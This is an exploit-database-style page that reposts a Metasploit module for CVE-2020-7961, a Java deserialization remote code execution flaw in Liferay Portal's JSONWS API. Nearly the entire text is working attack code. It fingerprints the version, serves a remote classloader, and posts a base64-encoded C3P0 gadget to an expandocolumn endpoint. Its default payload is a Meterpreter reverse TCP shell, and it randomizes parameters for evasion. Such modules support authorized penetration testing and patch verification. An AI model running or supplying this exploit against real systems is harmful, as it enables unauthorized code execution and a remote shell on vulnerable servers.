Liferay Portal Java Unmarshalling Remote Code Execution

2020.04.16
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Java::HTTP::ClassLoader include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE', 'Description' => %q{ This module exploits a Java unmarshalling vulnerability via JSONWS in Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1. }, 'Author' => [ 'Markus Wulftange', # Discovery 'Thomas Etrillard', # PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-7961'], ['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'], ['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'], ['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271'] ], 'DisclosureDate' => '2019-11-25', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check # GET / response contains a Liferay-Portal header with version information res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.headers['Liferay-Portal'] return CheckCode::Unknown( 'Target did not respond with Liferay-Portal header.' ) end =begin Building the Liferay-Portal header: https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java Liferay-Portal header data: https://github.com/liferay/liferay-portal/blob/master/release.properties Example GET / response: HTTP/1.1 200 [snip] Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019) [snip] =end version, build = res.headers['Liferay-Portal'].scan( /^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/ ).flatten unless version && (build = Integer(build) rescue nil) return CheckCode::Detected( 'Target did not respond with Liferay version and build.' ) end # XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched if build < 7201 return CheckCode::Appears( "Liferay #{version} MAY be a vulnerable version. Please verify." ) end CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super # Start our HTTP server to provide remote classloading @classloader_uri = start_service unless @classloader_uri fail_with(Failure::BadConfig, 'Could not start remote classloader server') end print_good("Started remote classloader server at #{@classloader_uri}") # Send our remote classloader gadget to the target, triggering the vuln send_request_gadget( normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'), # Required POST parameters for /api/jsonws/expandocolumn/update-column: # https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java 'columnId' => rand(8..42), # Randomize for "evasion" 'name' => rand(8..42), # Randomize for "evasion" 'type' => rand(8..42) # Randomize for "evasion" ) end # Convenience method to send our gadget to a URI with desired POST params def send_request_gadget(uri, vars_post = {}) print_status("Sending remote classloader gadget to #{full_uri(uri)}") vars_post['+defaultData'] = 'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource' vars_post['defaultData.userOverridesAsString'] = "HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};" send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => vars_post }, 0) end # Generate all marshalsec payloads for the Jackson marshaller: # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a def go_go_gadget # Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget: # https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java gadget = Rex::Text.decode_base64( <<~EOF rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0 aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0 ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7 kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ= EOF ) # Replace length-prefixed placeholder strings with our own gadget.sub!("\x00\x04HACK", packed_class_name) gadget.sub!("\x00\x03THE", packed_classloader_uri) gadget.sub("\x00\x06PLANET", packed_class_name) end # Convenience method to pack the classloader URI as a length-prefixed string def packed_classloader_uri "#{[@classloader_uri.length].pack('n')}#{@classloader_uri}" end end


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